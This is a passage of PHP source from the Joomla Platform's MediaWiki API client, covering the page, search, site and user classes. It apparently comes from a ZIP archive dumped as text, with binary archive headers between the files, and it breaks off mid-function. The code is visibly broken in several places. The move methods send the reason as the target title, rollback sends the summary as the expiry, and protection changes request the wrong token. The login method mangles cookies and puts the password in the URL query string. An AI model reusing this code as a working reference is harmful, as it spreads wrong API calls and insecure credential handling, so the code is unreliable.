* @property-read JMediawikiImages $images MediaWiki API
object for images.
* @property-read JMediawikiSearch $search MediaWiki API
object for search.
*
* @since 3.1.4
*/
class JMediawiki
{
/**
* @var Registry Options for the MediaWiki object.
* @since 3.0.0
*/
protected $options;
/**
* @var JMediawikiHttp The HTTP client object to use in sending HTTP
requests.
* @since 3.1.4
*/
protected $client;
/**
* @var JMediawikiSites MediaWiki API object for Site.
* @since 3.1.4
*/
protected $sites;
/**
* @var JMediawikiPages MediaWiki API object for pages.
* @since 3.0.0
*/
protected $pages;
/**
* @var JMediawikiUsers MediaWiki API object for users.
* @since 3.1.4
*/
protected $users;
/**
* @var JMediawikiLinks MediaWiki API object for links.
* @since 3.1.4
*/
protected $links;
/**
* @var JMediawikiCategories MediaWiki API object for categories.
* @since 3.1.4
*/
protected $categories;
/**
* @var JMediawikiImages MediaWiki API object for images.
* @since 3.1.4
*/
protected $images;
/**
* @var JMediawikiSearch MediaWiki API object for search.
* @since 3.0.0
*/
protected $search;
/**
* Constructor.
*
* @param Registry $options MediaWiki options object.
* @param JMediawikiHttp $client The HTTP client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JMediawikiHttp
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JMediawikiHttp($this->options);
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JMediaWikiObject MediaWiki API object (users, reviews, etc).
*
* @since 3.1.4
* @throws InvalidArgumentException
*/
public function __get($name)
{
$name = strtolower($name);
$class = 'JMediawiki' . ucfirst($name);
$accessible = array(
'categories',
'images',
'links',
'pages',
'search',
'sites',
'users',
);
if (class_exists($class) && in_array($name, $accessible))
{
if (!isset($this->$name))
{
$this->$name = new $class($this->options, $this->client);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Property %s is not
accessible.', $name));
}
/**
* Get an option from the JMediawiki instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JMediawiki instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JMediawiki This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKOn�[����U
U
mediawiki/object.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* MediaWiki API object class for the Joomla Platform.
*
* @since 3.1.4
*/
abstract class JMediawikiObject
{
/**
* @var Registry Options for the MediaWiki object.
* @since 3.1.4
*/
protected $options;
/**
* @var JMediawikiHttp The HTTP client object to use in sending HTTP
requests.
* @since 3.1.4
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options Mediawiki options object.
* @param JMediawikiHttp $client The HTTP client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JMediawikiHttp
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JMediawikiHttp($this->options);
}
/**
* Method to build and return a full request URL for the request.
*
* @param string $path URL to inflect
*
* @return string The request URL.
*
* @since 3.1.4
*/
protected function fetchUrl($path)
{
// Append the path with output format
$path .= '&format=xml';
$uri = new JUri($this->options->get('api.url') .
'/api.php' . $path);
if ($this->options->get('api.username', false))
{
$uri->setUser($this->options->get('api.username'));
}
if ($this->options->get('api.password', false))
{
$uri->setPass($this->options->get('api.password'));
}
return (string) $uri;
}
/**
* Method to build request parameters from a string array.
*
* @param array $params string array that contains the parameters
*
* @return string request parameter
*
* @since 3.1.4
*/
public function buildParameter(array $params)
{
$path = '';
foreach ($params as $param)
{
$path .= $param;
if (next($params) == true)
{
$path .= '|';
}
}
return $path;
}
/**
* Method to validate response for errors
*
* @param JHttpresponse $response reponse from the mediawiki server
*
* @return Object
*
* @since 3.1.4
*
* @throws DomainException
*/
public function validateResponse($response)
{
$xml = simplexml_load_string($response->body);
if (isset($xml->warnings))
{
throw new DomainException($xml->warnings->info);
}
if (isset($xml->error))
{
throw new DomainException($xml->error['info']);
}
return $xml;
}
}
PKOn�[�U�v�A�Amediawiki/pages.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Pages class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiPages extends JMediawikiObject
{
/**
* Method to edit a page.
*
* @param string $title Page title.
* @param int $section Section number.
* @param string $sectiontitle The title for a new section.
* @param string $text Page content.
* @param string $summary Title of the page you want to delete.
*
* @return object
*
* @since 3.1.4
*/
public function editPage($title, $section = null, $sectiontitle = null,
$text = null, $summary = null)
{
// Get the token.
$token = $this->getToken($title, 'edit');
// Build the request path.
$path = '?action=edit';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'section' => $section,
'sectiontitle' => $section,
'text' => $text,
'summary' => $summary,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to delete a page.
*
* @param string $title Title of the page you want to delete.
* @param string $reason Reason for the deletion.
* @param string $watchlist Unconditionally add or remove the page
from your watchlis.
* @param string $oldimage The name of the old image to delete.
*
* @return object
*
* @since 3.1.4
*/
public function deletePageByName($title, $reason = null, $watchlist =
null, $oldimage = null)
{
// Get the token.
$token = $this->getToken($title, 'delete');
// Build the request path.
$path = '?action=delete';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'reason' => $reason,
'watchlist' => $watchlist,
'oldimage' => $oldimage,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to delete a page.
*
* @param string $pageid Page ID of the page you want to delete.
* @param string $reason Reason for the deletion.
* @param string $watchlist Unconditionally add or remove the page
from your watchlis.
* @param string $oldimage The name of the old image to delete.
*
* @return object
*
* @since 3.1.4
*/
public function deletePageById($pageid, $reason = null, $watchlist =
null, $oldimage = null)
{
// Get the token.
$token = $this->getToken($pageid, 'delete');
// Build the request path.
$path = '?action=delete';
// Build the request data.
$data = array(
'pageid' => $pageid,
'token' => $token,
'reason' => $reason,
'watchlist' => $watchlist,
'oldimage' => $oldimage,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to restore certain revisions of a deleted page.
*
* @param string $title Title of the page you want to restore.
* @param string $reason Reason for restoring (optional).
* @param string $timestamp Timestamps of the revisions to restore.
* @param string $watchlist Unconditionally add or remove the page
from your watchlist.
*
* @return object
*
* @since 3.1.4
*/
public function undeletePage($title, $reason = null, $timestamp = null,
$watchlist = null)
{
// Get the token.
$token = $this->getToken($title, 'undelete');
// Build the request path.
$path = '?action=undelete';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'reason' => $reason,
'timestamp' => $timestamp,
'watchlist' => $watchlist,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to move a page.
*
* @param string $from Title of the page you want to move.
* @param string $to Title you want to rename the page
to.
* @param string $reason Reason for the move (optional).
* @param string $movetalk Move the talk page, if it exists.
* @param string $movesubpages Move subpages, if applicable.
* @param boolean $noredirect Don't create a redirect.
* @param string $watchlist Unconditionally add or remove the
page from your watchlist.
* @param boolean $ignorewarnings Ignore any warnings.
*
* @return object
*
* @since 3.1.4
*/
public function movePageByName($from, $to, $reason = null, $movetalk =
null, $movesubpages = null, $noredirect = null,
$watchlist =null, $ignorewarnings = null)
{
// Get the token.
$token = $this->getToken($from, 'move');
// Build the request path.
$path = '?action=move';
// Build the request data.
$data = array(
'from' => $from,
'to' => $reason,
'token' => $token,
'reason' => $reason,
'movetalk' => $movetalk,
'movesubpages' => $movesubpages,
'noredirect' => $noredirect,
'watchlist' => $watchlist,
'ignorewarnings' => $ignorewarnings,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to move a page.
*
* @param int $fromid Page ID of the page you want to
move.
* @param string $to Title you want to rename the page
to.
* @param string $reason Reason for the move (optional).
* @param string $movetalk Move the talk page, if it exists.
* @param string $movesubpages Move subpages, if applicable.
* @param boolean $noredirect Don't create a redirect.
* @param string $watchlist Unconditionally add or remove the
page from your watchlist.
* @param boolean $ignorewarnings Ignore any warnings.
*
* @return object
*
* @since 3.1.4
*/
public function movePageById($fromid, $to, $reason = null, $movetalk =
null, $movesubpages = null, $noredirect = null,
$watchlist =null, $ignorewarnings = null)
{
// Get the token.
$token = $this->getToken($fromid, 'move');
// Build the request path.
$path = '?action=move';
// Build the request data.
$data = array(
'fromid' => $fromid,
'to' => $reason,
'token' => $token,
'reason' => $reason,
'movetalk' => $movetalk,
'movesubpages' => $movesubpages,
'noredirect' => $noredirect,
'watchlist' => $watchlist,
'ignorewarnings' => $ignorewarnings,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to undo the last edit to the page.
*
* @param string $title Title of the page you want to rollback.
* @param string $user Name of the user whose edits are to be
rolled back.
* @param string $summary Custom edit summary. If not set, default
summary will be used.
* @param string $markbot Mark the reverted edits and the revert as
bot edits.
* @param string $watchlist Unconditionally add or remove the page
from your watchlist.
*
* @return object
*
* @since 3.1.4
*/
public function rollback($title, $user, $summary = null, $markbot = null,
$watchlist = null)
{
// Get the token.
$token = $this->getToken($title, 'rollback');
// Build the request path.
$path = '?action=rollback';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'user' => $user,
'expiry' => $summary,
'markbot' => $markbot,
'watchlist' => $watchlist,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to change the protection level of a page.
*
* @param string $title Title of the page you want to
(un)protect.
* @param string $protections Pipe-separated list of protection
levels.
* @param string $expiry Expiry timestamps.
* @param string $reason Reason for (un)protecting (optional).
* @param string $cascade Enable cascading protection.
* @param string $watchlist Unconditionally add or remove the page
from your watchlist.
*
* @return object
*
* @since 3.1.4
*/
public function changeProtection($title, $protections, $expiry = null,
$reason = null, $cascade = null, $watchlist = null)
{
// Get the token.
$token = $this->getToken($title, 'unblock');
// Build the request path.
$path = '?action=protect';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'protections' => $protections,
'expiry' => $expiry,
'reason' => $reason,
'cascade' => $cascade,
'watchlist' => $watchlist,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to get basic page information.
*
* @param array $titles Page titles to retrieve info.
* @param array $inprop Which additional properties to get.
* @param array $intoken Request a token to perform a
data-modifying action on a page
* @param boolean $incontinue When more results are available, use
this to continue.
*
* @return object
*
* @since 3.1.4
*/
public function getPageInfo(array $titles, array $inprop = null, array
$intoken = null, $incontinue = null)
{
// Build the request
$path = '?action=query&prop=info';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($inprop))
{
$path .= '&inprop=' . $this->buildParameter($inprop);
}
if (isset($intoken))
{
$path .= '&intoken=' . $this->buildParameter($intoken);
}
if ($incontinue)
{
$path .= '&incontinue=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get various properties defined in the page content.
*
* @param array $titles Page titles to retrieve properties.
* @param boolean $ppcontinue When more results are available, use
this to continue.
* @param string $ppprop Page prop to look on the page for.
*
* @return object
*
* @since 3.1.4
*/
public function getPageProperties(array $titles, $ppcontinue = null,
$ppprop = null)
{
// Build the request
$path = '?action=query&prop=pageprops';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if ($ppcontinue)
{
$path .= '&ppcontinue=';
}
if (isset($ppprop))
{
$path .= '&ppprop=' . $ppprop;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get a list of revisions.
*
* @param array $titles Page titles to retrieve revisions.
* @param array $rvprop Which properties to get for each revision.
* @param boolean $rvparse Parse revision content.
* @param int $rvlimit Limit how many revisions will be returned.
*
* @return object
*
* @since 3.1.4
*/
public function getRevisions(array $titles, array $rvprop = null, $rvparse
= null, $rvlimit = null)
{
// Build the request
$path = '?action=query&prop=revisions';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($rvprop))
{
$path .= '&rvprop=' . $this->buildParameter($rvprop);
}
if ($rvparse)
{
$path .= '&rvparse=';
}
if (isset($rvlimit))
{
$path .= '&rvlimit=' . $rvlimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all page templates from the given page.
*
* @param array $titles Page titles to retrieve templates.
* @param array $tlnamespace Show templates in this namespace(s)
only.
* @param integer $tllimit How many templates to return.
* @param boolean $tlcontinue When more results are available, use
this to continue.
* @param string $tltemplates Only list these templates.
* @param string $tldir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getPageTemplates(array $titles, array $tlnamespace = null,
$tllimit = null, $tlcontinue = null, $tltemplates = null, $tldir = null)
{
// Build the request.
$path = '?action=query&prop=templates';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($tlnamespace))
{
$path .= '&tlnamespace=' .
$this->buildParameter($tlnamespace);
}
if (isset($tllimit))
{
$path .= '&tllimit=' . $tllimit;
}
if ($tlcontinue)
{
$path .= '&tlcontinue=';
}
if (isset($tltemplates))
{
$path .= '&tltemplates=' . $tltemplates;
}
if (isset($tldir))
{
$path .= '&tldir=' . $tldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all pages that link to the given page.
*
* @param string $bltitle Title to search.
* @param integer $blpageid Pageid to search.
* @param boolean $blcontinue When more results are available,
use this to continue.
* @param array $blnamespace The namespace to enumerate.
* @param string $blfilterredirect How to filter for redirects..
* @param integer $bllimit How many total pages to return.
* @param boolean $blredirect If linking page is a redirect,
find all pages that link to that redirect as well.
*
* @return object
*
* @since 3.1.4
*/
public function getBackLinks($bltitle, $blpageid = null, $blcontinue =
null, array $blnamespace = null, $blfilterredirect = null,
$bllimit = null, $blredirect = null)
{
// Build the request.
$path = '?action=query&list=backlinks';
if (isset($bltitle))
{
$path .= '&bltitle=' . $bltitle;
}
if (isset($blpageid))
{
$path .= '&blpageid=' . $blpageid;
}
if ($blcontinue)
{
$path .= '&blcontinue=';
}
if (isset($blnamespace))
{
$path .= '&blnamespace=' .
$this->buildParameter($blnamespace);
}
if (isset($blfilterredirect))
{
$path .= '&blfilterredirect=' . $blfilterredirect;
}
if (isset($bllimit))
{
$path .= '&bllimit=' . $bllimit;
}
if ($blredirect)
{
$path .= '&blredirect=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all pages that link to the given interwiki link.
*
* @param string $iwbltitle Interwiki link to search for. Must be
used with iwblprefix.
* @param string $iwblprefix Prefix for the interwiki.
* @param boolean $iwblcontinue When more results are available, use
this to continue.
* @param integer $iwbllimit How many total pages to return.
* @param array $iwblprop Which properties to get.
*
* @return object
*
* @since 3.1.4
*/
public function getIWBackLinks($iwbltitle, $iwblprefix = null,
$iwblcontinue = null, $iwbllimit = null, array $iwblprop = null)
{
// Build the request
$path = '?action=query&list=iwbacklinks';
if (isset($iwbltitle))
{
$path .= '&iwbltitle=' . $iwbltitle;
}
if (isset($iwblprefix))
{
$path .= '&iwblprefix=' . $iwblprefix;
}
if ($iwblcontinue)
{
$path .= '&iwblcontinue=';
}
if (isset($iwbllimit))
{
$path .= '&bllimit=' . $iwbllimit;
}
if (isset($iwblprop))
{
$path .= '&iwblprop=' .
$this->buildParameter($iwblprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get access token.
*
* @param string $user The User to get token.
* @param string $intoken The type of token.
*
* @return object
*
* @since 3.0.0
*/
public function getToken($user, $intoken)
{
// Build the request path.
$path = '?action=query&prop=info&intoken=' . $intoken .
'&titles=User:' . $user;
// Send the request.
$response = $this->client->post($this->fetchUrl($path), null);
return (string)
$this->validateResponse($response)->query->pages->page[$intoken
. 'token'];
}
}
PKOn�[�n�>^^mediawiki/search.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Search class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiSearch extends JMediawikiObject
{
/**
* Method to perform a full text search.
*
* @param string $srsearch Search for all page titles (or content)
that has this value.
* @param array $srnamespace The namespace(s) to enumerate.
* @param string $srwhat Search inside the text or titles.
* @param array $srinfo What metadata to return.
* @param array $srprop What properties to return.
* @param boolean $srredirects Include redirect pages in the search.
* @param integer $sroffest Use this value to continue paging.
* @param integer $srlimit How many total pages to return.
*
* @return object
*
* @since 3.1.4
*/
public function search($srsearch, array $srnamespace = null, $srwhat =
null, array $srinfo = null, array $srprop = null,
$srredirects = null, $sroffest = null, $srlimit = null)
{
// Build the request.
$path = '?action=query&list=search';
if (isset($srsearch))
{
$path .= '&srsearch=' . $srsearch;
}
if (isset($srnamespace))
{
$path .= '&srnamespace=' .
$this->buildParameter($srnamespace);
}
if (isset($srwhat))
{
$path .= '&srwhat=' . $srwhat;
}
if (isset($srinfo))
{
$path .= '&srinfo=' . $this->buildParameter($srinfo);
}
if (isset($srprop))
{
$path .= '&srprop=' . $this->buildParameter($srprop);
}
if ($srredirects)
{
$path .= '&srredirects=';
}
if (isset($sroffest))
{
$path .= '&sroffest=' . $sroffest;
}
if (isset($srlimit))
{
$path .= '&srlimit=' . $srlimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to search the wiki using opensearch protocol.
*
* @param string $search Search string.
* @param integer $limit Maximum amount of results to return.
* @param array $namespace Namespaces to search.
* @param string $suggest Do nothing if $wgEnableOpenSearchSuggest
is false.
* @param string $format Output format.
*
* @return object
*
* @since 3.1.4
*/
public function openSearch($search, $limit = null, array $namespace =
null, $suggest = null, $format = null)
{
// Build the request.
$path = '?action=query&list=search';
if (isset($search))
{
$path .= '&search=' . $search;
}
if (isset($limit))
{
$path .= '&limit=' . $limit;
}
if (isset($namespace))
{
$path .= '&namespace=' .
$this->buildParameter($namespace);
}
if (isset($suggest))
{
$path .= '&suggest=' . $suggest;
}
if (isset($format))
{
$path .= '&format=' . $format;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
PKOn�[o��ݙ�mediawiki/sites.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Sites class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiSites extends JMediawikiObject
{
/**
* Method to get site information.
*
* @param array $siprop The sysinfo properties to get.
* @param string $sifilteriw Only local or only non local
entries to return.
* @param boolean $sishowalldb List all database servers.
* @param boolean $sinumberingroup List the number of users in
usergroups.
* @param array $siinlanguagecode Language code for localized
languages.
*
* @return object
*
* @since 3.1.4
*/
public function getSiteInfo(array $siprop = null, $sifilteriw = null,
$sishowalldb = false, $sinumberingroup = false, array $siinlanguagecode =
null)
{
// Build the request.
$path = '?action=query&meta=siteinfo';
if (isset($siprop))
{
$path .= '&siprop=' . $this->buildParameter($siprop);
}
if (isset($sifilteriw))
{
$path .= '&sifilteriw=' . $sifilteriw;
}
if ($sishowalldb)
{
$path .= '&sishowalldb=';
}
if ($sinumberingroup)
{
$path .= '&sinumberingroup=';
}
if (isset($siinlanguagecode))
{
$path .= '&siinlanguagecode=' .
$this->buildParameter($siinlanguagecode);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get events from logs.
*
* @param array $leprop List of properties to get.
* @param string $letype Filter log actions to only this type.
* @param string $leaction Filter log actions to only this type.
* @param string $letitle Filter entries to those related to a page.
* @param string $leprefix Filter entries that start with this
prefix.
* @param string $letag Filter entries with tag.
* @param string $leuser Filter entries made by the given user.
* @param string $lestart Starting timestamp.
* @param string $leend Ending timestamp.
* @param string $ledir Direction of enumeration.
* @param integer $lelimit Event limit to return.
*
* @return object
*
* @since 3.1.4
*/
public function getEvents(array $leprop = null, $letype = null, $leaction
= null, $letitle = null, $leprefix = null, $letag = null,
$leuser = null, $lestart = null, $leend = null, $ledir = null, $lelimit =
null)
{
// Build the request
$path = '?action=query&list=logevents';
if (isset($leprop))
{
$path .= '&leprop=' . $this->buildParameter($leprop);
}
if (isset($letype))
{
$path .= '&letype=' . $letype;
}
if (isset($leaction))
{
$path .= '&leaction=' . $leaction;
}
if (isset($letitle))
{
$path .= '&letitle=' . $letitle;
}
if (isset($leprefix))
{
$path .= '&leprefix=' . $leprefix;
}
if (isset($letag))
{
$path .= '&letag=' . $letag;
}
if (isset($leuser))
{
$path .= '&leuser=' . $leuser;
}
if (isset($lestart))
{
$path .= '&lestart=' . $lestart;
}
if (isset($leend))
{
$path .= '&leend=' . $leend;
}
if (isset($ledir))
{
$path .= '&ledir=' . $ledir;
}
if (isset($lelimit))
{
$path .= '&lelimit=' . $lelimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get recent changes on a site.
*
* @param string $rcstart Starting timestamp.
* @param string $rcend Ending timestamp.
* @param string $rcdir Direction of enumeration.
* @param array $rcnamespace Filter changes to only this
namespace(s).
* @param string $rcuser Filter changes by this user.
* @param string $rcexcludeuser Filter changes to exclude changes by
this user.
* @param string $rctag Filter changes by this tag.
* @param array $rcprop Filter log actions to only this type.
* @param array $rctoken Which token to obtain for each change.
* @param array $rcshow Filter changes by this criteria.
* @param string $rclimit Changes limit to return.
* @param string $rctype Filter event by type of changes.
* @param string $rctoponly Filter changes which are latest
revision.
*
* @return object
*
* @since 3.1.4
*/
public function getRecentChanges($rcstart = null, $rcend = null, $rcdir =
null, array $rcnamespace = null, $rcuser = null, $rcexcludeuser = null,
$rctag = null, array $rcprop = null, array $rctoken = null, array $rcshow
= null, $rclimit = null, $rctype = null, $rctoponly = null)
{
// Build the request.
$path = '?action=query&list=recentchanges';
if (isset($rcstart))
{
$path .= '&rcstart=' . $rcstart;
}
if (isset($rcend))
{
$path .= '&rcend=' . $rcend;
}
if (isset($rcdir))
{
$path .= '&rcdir=' . $rcdir;
}
if (isset($rcnamespace))
{
$path .= '&rcnamespaces=' .
$this->buildParameter($rcnamespace);
}
if (isset($rcuser))
{
$path .= '&rcuser=' . $rcuser;
}
if (isset($rcexcludeuser))
{
$path .= '&rcexcludeuser=' . $rcexcludeuser;
}
if (isset($rctag))
{
$path .= '&rctag=' . $rctag;
}
if (isset($rcprop))
{
$path .= '&rcprop=' . $this->buildParameter($rcprop);
}
if (isset($rctoken))
{
$path .= '&rctoken=' . $this->buildParameter($rctoken);
}
if (isset($rcshow))
{
$path .= '&rcshow=' . $this->buildParameter($rcshow);
}
if (isset($rclimit))
{
$path .= '&rclimit=' . $rclimit;
}
if (isset($rctype))
{
$path .= '&rctype=' . $rctype;
}
if (isset($rctoponly))
{
$path .= '&rctoponly=' . $rctoponly;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get protected titles on a site.
*
* @param array $ptnamespace Only list titles in this namespace.
* @param array $ptlevel Only list titles with these protection
level.
* @param integer $ptlimit Limit of pages to return.
* @param string $ptdir Direction of enumeration.
* @param string $ptstart Starting timestamp.
* @param string $ptend Ending timestamp.
* @param array $ptprop List of properties to get.
*
* @return object
*
* @since 3.1.4
*/
public function getProtectedTitles(array $ptnamespace = null, array
$ptlevel = null, $ptlimit = null, $ptdir = null, $ptstart = null,
$ptend = null, array $ptprop = null)
{
// Build the request.
$path = '?action=query&list=protectedtitles';
if (isset($ptnamespace))
{
$path .= '&ptnamespace=' .
$this->buildParameter($ptnamespace);
}
if (isset($ptlevel))
{
$path .= '&ptlevel=' . $this->buildParameter($ptlevel);
}
if (isset($ptlimit))
{
$path .= '&ptlimit=' . $ptlimit;
}
if (isset($ptdir))
{
$path .= '&ptdir=' . $ptdir;
}
if (isset($ptstart))
{
$path .= '&ptstart=' . $ptstart;
}
if (isset($ptend))
{
$path .= '&ptend=' . $ptend;
}
if (isset($ptprop))
{
$path .= '&ptprop=' . $this->buildParameter($ptprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
PKOn�[m�o�-�-mediawiki/users.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Users class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiUsers extends JMediawikiObject
{
/**
* Method to login and get authentication tokens.
*
* @param string $lgname User Name.
* @param string $lgpassword Password.
* @param string $lgdomain Domain (optional).
*
* @return object
*
* @since 3.1.4
*/
public function login($lgname, $lgpassword, $lgdomain = null)
{
// Build the request path.
$path = '?action=login&lgname=' . $lgname .
'&lgpassword=' . $lgpassword;
if (isset($lgdomain))
{
$path .= '&lgdomain=' . $lgdomain;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path), null);
// Request path with login token.
$path = '?action=login&lgname=' . $lgname .
'&lgpassword=' . $lgpassword . '&lgtoken=' .
$this->validateResponse($response)->login['token'];
if (isset($lgdomain))
{
$path .= '&lgdomain=' . $lgdomain;
}
// Set the session cookies returned.
$headers = (array) $this->options->get('headers');
$headers['Cookie'] = !empty($headers['Cookie']) ?
empty($headers['Cookie']) : '';
$headers['Cookie'] = $headers['Cookie'] .
$response->headers['Set-Cookie'];
$this->options->set('headers', $headers);
// Send the request again with the token.
$response = $this->client->post($this->fetchUrl($path), null);
$response_body = $this->validateResponse($response);
$headers = (array) $this->options->get('headers');
$cookie_prefix = $response_body->login['cookieprefix'];
$cookie = $cookie_prefix . 'UserID=' .
$response_body->login['lguserid'] . '; ' .
$cookie_prefix
. 'UserName=' .
$response_body->login['lgusername'];
$headers['Cookie'] = $headers['Cookie'] . ';
' . $response->headers['Set-Cookie'] . '; ' .
$cookie;
$this->options->set('headers', $headers);
return $this->validateResponse($response);
}
/**
* Method to logout and clear session data.
*
* @return object
*
* @since 3.1.4
*/
public function logout()
{
// Build the request path.
$path = '?action=login';
// @TODO clear internal data as well
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get user information.
*
* @param array $ususers A list of users to obtain the same
information for.
* @param array $usprop What pieces of information to include.
*
* @return object
*
* @since 3.1.4
*/
public function getUserInfo(array $ususers, array $usprop = null)
{
// Build the request path.
$path = '?action=query&list=users';
// Append users to the request.
$path .= '&ususers=' . $this->buildParameter($ususers);
if (isset($usprop))
{
$path .= '&usprop' . $this->buildParameter($usprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get current user information.
*
* @param array $uiprop What pieces of information to include.
*
* @return object
*
* @since 3.1.4
*/
public function getCurrentUserInfo(array $uiprop = null)
{
// Build the request path.
$path = '?action=query&meta=userinfo';
if (isset($uiprop))
{
$path .= '&uiprop' . $this->buildParameter($uiprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get user contributions.
*
* @param string $ucuser The users to retrieve contributions
for.
* @param string $ucuserprefix Retrieve contibutions for all users
whose names begin with this value.
* @param integer $uclimit The users to retrieve contributions
for.
* @param string $ucstart The start timestamp to return from.
* @param string $ucend The end timestamp to return to.
* @param boolean $uccontinue When more results are available, use
this to continue.
* @param string $ucdir In which direction to enumerate.
* @param array $ucnamespace Only list contributions in these
namespaces.
* @param array $ucprop Include additional pieces of
information.
* @param array $ucshow Show only items that meet this
criteria.
* @param string $uctag Only list revisions tagged with this
tag.
* @param string $uctoponly Only list changes which are the latest
revision
*
* @return object
*
* @since 3.1.4
*/
public function getUserContribs($ucuser = null, $ucuserprefix = null,
$uclimit = null, $ucstart = null, $ucend = null, $uccontinue = null,
$ucdir = null, array $ucnamespace = null, array $ucprop = null, array
$ucshow = null, $uctag = null, $uctoponly = null)
{
// Build the request path.
$path = '?action=query&list=usercontribs';
if (isset($ucuser))
{
$path .= '&ucuser=' . $ucuser;
}
if (isset($ucuserprefix))
{
$path .= '&ucuserprefix=' . $ucuserprefix;
}
if (isset($uclimit))
{
$path .= '&uclimit=' . $uclimit;
}
if (isset($ucstart))
{
$path .= '&ucstart=' . $ucstart;
}
if (isset($ucend))
{
$path .= '&ucend=' . $ucend;
}
if ($uccontinue)
{
$path .= '&uccontinue=';
}
if (isset($ucdir))
{
$path .= '&ucdir=' . $ucdir;
}
if (isset($ucnamespace))
{
$path .= '&ucnamespace=' .
$this->buildParameter($ucnamespace);
}
if (isset($ucprop))
{
$path .= '&ucprop=' . $this->buildParameter($ucprop);
}
if (isset($ucshow))
{
